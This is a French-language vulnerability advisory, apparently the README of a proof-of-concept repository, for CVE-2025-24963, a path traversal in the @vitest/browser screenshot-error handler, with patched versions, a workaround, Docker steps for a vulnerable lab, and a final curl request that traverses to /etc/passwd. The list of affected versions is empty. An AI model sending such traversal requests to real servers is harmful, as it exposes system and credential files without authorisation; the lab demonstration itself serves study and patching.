
CVE-2025-24963 est une vulnérabilité de gravité moyenne (score CVSS 3.1 : 5.9) affectant le paquet @vitest/browser, un composant du framework de test Vitest propulsé par Vite. Cette vulnérabilité provient d'une validation d'entrée inadéquate dans le gestionnaire __screenshot-error du serveur HTTP du mode navigateur. Lorsque le serveur est exposé au réseau à l'aide de l'option de configuration browser.api.host: true, un attaquant peut envoyer des requêtes spécialement conçues pour accéder à des fichiers arbitraires sur le système de fichiers du serveur, ce qui peut potentiellement conduire à la divulgation non autorisée d'informations sensibles.
La vulnérabilité affecte les versions suivantes de @vitest/browser :
Ce problème a été corrigé dans les versions 2.1.9 et 3.0.4. Les utilisateurs sont fortement invités à mettre à niveau vers ces versions ou des versions ultérieures afin d'atténuer la vulnérabilité.
Si une mise à niveau immédiate n'est pas envisageable, une solution de contournement temporaire consiste à éviter d'exposer le serveur du mode navigateur au réseau en ne définissant pas browser.api.host: true dans votre configuration. Cela empêchera tout accès externe au gestionnaire vulnérable.
git clone https://github.com/0xdeviner/CVE-2025-24963.git
cd CVE-2025-24963/vitest-vuln-demo
docker build -t vitest-cve-2025-24963 .
docker run -itd --name vitest-cve -p 63315:63315 vitest-cve-2025-24963
Remarque : Le port utilisé par Vitest est dynamique (par exemple, 63315). Vous pouvez surveiller les journaux et ajuster votre option -p en conséquence.
curl "http://<IP>:63315/__screenshot-error?file=../../../../../../etc/passwd"